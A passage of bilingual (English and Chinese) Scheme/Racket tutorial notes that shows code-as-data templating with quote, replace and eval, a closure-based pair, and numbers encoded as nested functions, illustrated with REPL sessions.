 cannot reference an identifier before its definition
> (define z 1)
> (symbol? z)
#f

Generic type safety

Quote this stuff looks like code.

(define generic-safe-sum
    '(define (safe-sum x y)
       (if (and (TEST x) (TEST y))	; we don't know what TEST is so far but we will.
           (+ x y)
           "INCORRECT TYPES")))

Another procedure that replace find with repl.

(define (replace lst find repl)
    (if (pair? lst)
        (cons
         (replace (car lst) find repl)
         (replace (cdr lst) find repl))
        (if (equal? lst find)
            repl
            lst)))

So here is what we can do.

> (define safe-sum-int
    (replace generic-safe-sum 'TEST 'integer?))
> (eval safe-sum-int)
> (safe-sum 1 2)
3
> (safe-sum 2.1 2.2)
"INCORRECT TYPES"

> (define (nonint? x)
    (and (real? x) (not (integer? x))))
> (eval (replace generic-safe-sum 'TEST 'nonint?))
> (safe-sum 12 21)
"INCORRECT TYPES"
> (safe-sum 2.4 2.2)
4.6

> (define (mcons a b)
    (lambda (cmd)
      (if (equal? cmd "car")
          a
          b)))
> ((mcons 1 2) "car")
1

> (define (mcar pair) (pair "car"))
> (define (mcdr pair) (pair "cdr"))
> (mcar (mcons 1 2))
1
> (mcdr (mcons 1 2))
2

m in mcons/mcar/mcdr means meta.

Numbers magic

用高阶函数模拟数字，函数的阶数代表数字的值。

> (define n0 (lambda () null))
> (define (minc x) (lambda () x))
> (define (mdec x) (x))
> (n0)
'()
> (define n1 (minc n0))
> (equal? (n1) n0)
#t
> (equal? (mdec n1) n0)
#t

n1 是 n0 的高一阶的函数，即 n0() = null, n1() = n0.

那么我们用 meual? 检查两个函数是否同阶，用 mzero? 检查函数是否是元函数（最低阶，即返回 null 的 n0）。

> (define (mzero? x) (null? (x)))
> (define (mequal? x y)
    (cond
      ((mzero? x) (mzero? y))
      ((mzero? y) (mzero? x))
      (else (mequal? (mdec x) (mdec y)))))

> (mequal? n0 n1)
#f
> (mequal? n0 (mdec n1))
#t

还可以定义函数阶数的加法 m+， (m+ n1 n2) => n3

> (define (m+ x y)
    (if (mzero? y)
        x
        (m+ (minc x) (mdec y))))

> (define n2 (minc n1))
> (define n3 (minc n2))
> (define n4 (minc n3))
> (define n5 (minc n4))

> (mequal? n3 (m+ n1 n2))
#t

以上行为都可以自定义，我们可以自定义元函数（0）的行为，以及函数增阶的规则，做到一些看起来很酷的事情。

You can define numbers in Scheme without any concept of numbers.